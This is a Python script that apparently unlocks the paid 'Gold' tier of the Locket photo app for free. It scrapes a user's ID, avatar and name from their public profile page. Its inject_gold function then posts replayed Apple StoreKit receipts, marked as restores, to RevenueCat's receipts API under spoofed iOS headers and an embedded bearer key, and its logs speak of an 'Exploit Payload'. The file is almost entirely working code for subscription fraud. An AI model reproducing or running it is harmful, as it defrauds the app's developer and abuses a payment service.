import aiohttp
import json
import re
import time
import asyncio
import ssl
import certifi
import base64
from app.config import TOKEN_SETS_CONFIG as TOKEN_SETS # Import token sets

def parse_token_payload(fetch_token):
    """Dynamically parse and decode the Apple StoreKit 2 JWT fetch_token."""
    try:
        parts = fetch_token.split('.')
        if len(parts) >= 2:
            rem = len(parts[1]) % 4
            p = parts[1] + ('=' * (4 - rem) if rem else '')
            return json.loads(base64.urlsafe_b64decode(p).decode('utf-8'))
    except Exception:
        pass
    return {}


SSL_CTX = ssl.create_default_context(cafile=certifi.where())

HEADERS = {
    'Host': 'api.revenuecat.com',
    'Authorization': 'Bearer appl_JngFETzdodyLmCREOlwTUtXdQik',
    'Content-Type': 'application/json',
    'Accept': '*/*',
    'X-Platform': 'iOS',
    'X-Platform-Version': 'Version 26.2 (Build 23C55)',
    'X-Platform-Device': 'iPhone15,3',
    'X-Platform-Flavor': 'native',
    'X-Version': '5.41.0',
    'X-Client-Version': '2.32.2',
    'X-Client-Bundle-ID': 'com.locket.Locket',
    'X-Client-Build-Version': '3',
    'X-StoreKit2-Enabled': 'true',
    'X-StoreKit-Version': '2',
    'X-Observer-Mode-Enabled': 'false',
    'X-Is-Sandbox': 'true', # Will be overwritten by token set
    'X-Storefront': 'VNM',
    'X-Apple-Device-Identifier': '39A73C25-1E05-4350-ADA7-5CD3FE1079E8',
    'X-Preferred-Locales': 'vi_KR,ko_KR,en_KR',
    'X-Nonce': 'w0Mlb6+AmV4WYuVv',
    'X-Is-Backgrounded': 'false',
    'X-Retry-Count': '0',
    'X-Is-Debug-Build': 'false',
    'User-Agent': 'Locket/3 CFNetwork/3860.300.31 Darwin/25.2.0',
    'Accept-Language': 'vi-VN,vi;q=0.9',
    'Connection': 'keep-alive',
    'Pragma': 'no-cache',
    'Cache-Control': 'no-cache',
    'X-RevenueCat-ETag': ''
}

class Clr:
    HEADER = '\033[95m'
    BLUE = '\033[94m'
    GREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'

async def resolve_uid(username):
    url = f"https://locket.cam/{username}"
    headers = {
        "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X)",
        "Accept": "text/html"
    }
    
    try:
        async with aiohttp.ClientSession() as session:
            async with session.get(url, headers=headers, allow_redirects=True, timeout=10, ssl=SSL_CTX) as res:
                html = await res.text()
                redirect_url = str(res.url)

                def extract(text):
                    if not text: return None
                    m = re.search(r'/invites/([A-Za-z0-9]{28})', text)
                    if m: return m.group(1)
                    
                    lp = re.search(r'link=([^\s"\'>]+)', text)
                    if lp:
                        try:
                            # Basic URL decode without urllib
                            d = lp.group(1).replace('%3A', ':').replace('%2F', '/')
                            dm = re.search(r'/invites/([A-Za-z0-9]{28})', d)
                            if dm: return dm.group(1)
                        except:
                            pass
                    return None

                return extract(redirect_url) or extract(html)
        
    except Exception:
        return None

async def resolve_uid_with_avatar(username):
    url = f"https://locket.cam/{username}"
    headers = {
        "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X)",
        "Accept": "text/html"
    }
    
    try:
        async with aiohttp.ClientSession() as session:
            async with session.get(url, headers=headers, allow_redirects=True, timeout=10, ssl=SSL_CTX) as res:
                html = await res.text()
                redirect_url = str(res.url)

                def extract(text):
                    if not text: return None
                    m = re.search(r'/invites/([A-Za-z0-9]{28})', text)
                    if m: return m.group(1)
                    
                    lp = re.search(r'link=([^\s"\'>]+)', text)
                    if lp:
                        try:
                            # Basic URL decode without urllib
                            d = lp.group(1).replace('%3A', ':').replace('%2F', '/')
                            dm = re.search(r'/invites/([A-Za-z0-9]{28})', d)
                            if dm: return dm.group(1)
                        except:
                            pass
                    return None

                uid = extract(redirect_url) or extract(html)
                
                # Extract profile picture URL using multiple robust fallback methods
                avatar = None
                
                # Method 1: Look for Firebase storage public profile pic URL inside html (works even in serialized JS state with escaped slashes)
                fb_match = re.search(r'(https?:[^\s"\'>]*firebasestorage\.googleapis\.com[^\s"\'>]*profile_pic\.[a-zA-Z0-9_]+[^\s"\'>]*)', html)
                if fb_match:
                    avatar = fb_match.group(1).replace('\\/', '/').replace('&amp;', '&').replace('\\u0026', '&')
                
                # Method 2: Look for img tag containing class 'profile-pic-img' (case-insensitive and order-independent)
                if not avatar:
                    for img_tag in re.findall(r'<img[^>]+>', html, re.IGNORECASE):
                        if 'profile-pic-img' in img_tag.lower():
                            src_match = re.search(r'src=["\']([^"\']+)["\']', img_tag, re.IGNORECASE)
                            if src_match:
                                avatar = src_match.group(1).replace('&amp;', '&')
                                break
                
                # Method 3: Standard class="profile-pic-img" regex
                if not avatar:
                    avatar_match = re.search(r'class="profile-pic-img"\s+src="([^"]+)"', html)
                    if avatar_match:
                        avatar = avatar_match.group(1).replace('&amp;', '&')
                
                # Extract Name from Title
                name = None
                title_match = re.search(r'<title>(.*?)</title>', html, re.IGNORECASE)
                if title_match:
                    raw_title = title_match.group(1).strip()
                    # Title is usually "Name on Locket", so remove " on Locket" if it exists
                    if raw_title.endswith(" on Locket"):
                        name = raw_title[:-10].strip()
                    else:
                        name = raw_title
                        
                return uid, avatar, name
        
    except Exception:
        return None, None, None

async def check_status(uid):
    url = f"https://api.revenuecat.com/v1/subscribers/{uid}"
    try:
        async with aiohttp.ClientSession() as session:
            async with session.get(url, headers=HEADERS, timeout=10, ssl=SSL_CTX) as res:
                if 200 <= res.status < 300:
                    data = await res.json()
                    entitlements = data.get('subscriber', {}).get('entitlements', {}).get('Gold', {})
                    if entitlements:
                        expires_date = entitlements.get('expires_date')
                        return {"active": True, "expires": expires_date}
                    return {"active": False}
                return {"active": False}
    except Exception:
        return None

async def inject_gold(uid, token_config, log_callback=None):
    def log(msg):
        if log_callback:
            log_callback(msg)

    url = "https://api.revenuecat.com/v1/receipts"
    
    # Use provided token config
    fetch_token = token_config['fetch_token']
    app_transaction = token_config['app_transaction']
    is_sandbox = token_config.get('is_sandbox', False)
    
    # Dynamically extract real purchase attributes from signed token payload
    jwt_data = parse_token_payload(fetch_token)
    product_id = jwt_data.get('productId', 'locket_1600_1y')
    currency = jwt_data.get('currency', 'VND')
    raw_price = jwt_data.get('price', 399000000)
    if isinstance(raw_price, int) and raw_price > 1000000:
        price = str(raw_price // 1000)
    else:
        price = str(raw_price)

    if '1y' in product_id.lower() or 'year' in product_id.lower():
        normal_duration = 'P1Y'
    elif '1w' in product_id.lower() or 'week' in product_id.lower():
        normal_duration = 'P1W'
    else:
        normal_duration = 'P1M'

    store_country = jwt_data.get('storefront', 'VNM')
    sub_group = jwt_data.get('subscriptionGroupIdentifier', '21419447')
    
    body = {
        "product_id": product_id, 
        "fetch_token": fetch_token, 
        "app_transaction": app_transaction,
        "app_user_id": uid, 
        "is_restore": True, 
        "store_country": store_country, 
        "currency": currency,
        "price": price, 
        "normal_duration": normal_duration, 
        "subscription_group_id": sub_group,
        "observer_mode": False, 
        "initiation_source": "restore", 
        "offers": [],
        "attributes": { 
            "$attConsentStatus": { "updated_at_ms": int(time.time() * 1000), "value": "authorized" } 
        }
    }
    
    current_headers = HEADERS.copy()
    current_headers['Content-Length'] = str(len(json.dumps(body)))
    
    if token_config.get('hash_params'):
        current_headers['X-Post-Params-Hash'] = token_config['hash_params']
    if token_config.get('hash_headers'):
        current_headers['X-Headers-Hash'] = token_config['hash_headers']
    
    # Important update based on token type
    current_headers['X-Is-Sandbox'] = str(is_sandbox).lower()

    log(f"{Clr.BLUE}[*] Target Identified:{Clr.ENDC} {uid}")
    log(f"{Clr.BLUE}[*] Loading Exploit Payload (RevenueCat)...{Clr.ENDC}")
    log(f"{Clr.BLUE}[*] Using Token Set: {token_config.get('name', 'Custom')} (Product: {product_id}){Clr.ENDC}")

    async with aiohttp.ClientSession() as session:
        for attempt in range(5):
            try:
                log(f"{Clr.WARNING}[>] Attempt {attempt+1}/5:{Clr.ENDC} Sending Receipt...")
                async with session.post(url, headers=current_headers, json=body, timeout=15, ssl=SSL_CTX) as res:
                    status_code = res.status
                    
                    if status_code == 200:
                        log(f"{Clr.GREEN}[+] HTTP 200 OK.{Clr.ENDC} Verifying Entitlement...")
                        try:
                            resp_json = await res.json()
                            entitlements = resp_json.get('subscriber', {}).get('entitlements', {})
                            if 'Gold' in entitlements:
                                log(f"{Clr.GREEN}[SUCCESS] Gold Entitlement Active!{Clr.ENDC}")
                                return True, "SUCCESS"
                        except Exception:
                            pass

                        status = await check_status(uid)
                        if status and status.get('active'):
                            log(f"{Clr.GREEN}[SUCCESS] Gold Entitlement Active!{Clr.ENDC}")
                            return True, "SUCCESS"
                        else:
                            log(f"{Clr.WARNING}[!] Entitlement not found immediately. Retrying verification...{Clr.ENDC}")
                            await asyncio.sleep(2)
                            status = await check_status(uid)
                            if status and status.get('active'):
                                log(f"{Clr.GREEN}[SUCCESS] Gold Active after delay.{Clr.ENDC}")
                                return True, "SUCCESS"
                            log(f"{Clr.FAIL}[-] Exploitation Failed: Valid receipt but no Gold.{Clr.ENDC}")
                            return False, "Accepted but NO Gold (Expired?)"
                            
                    elif status_code == 529:
                        log(f"{Clr.WARNING}[!] Server Busy (529). Cooldown 2s...{Clr.ENDC}")
                        await asyncio.sleep(2)
                        continue
                        
                    else:
                        msg = "Unknown Error"
                        try:
                            resp_json = await res.json()
                            msg = resp_json.get('message', str(status_code))
                        except:
                            msg = str(status_code)
                        log(f"{Clr.FAIL}[x] Request Rejected: {msg}{Clr.ENDC}")
                        return False, f"Rejected: {msg}"
                    
            except Exception as e:
                log(f"{Clr.FAIL}[!] Network Error: {e}{Clr.ENDC}")
                if attempt == 4:
                    return False, f"Request Error: {str(e)}"
                await asyncio.sleep(2)
            
    return False, "Timeout / Failed after retries"
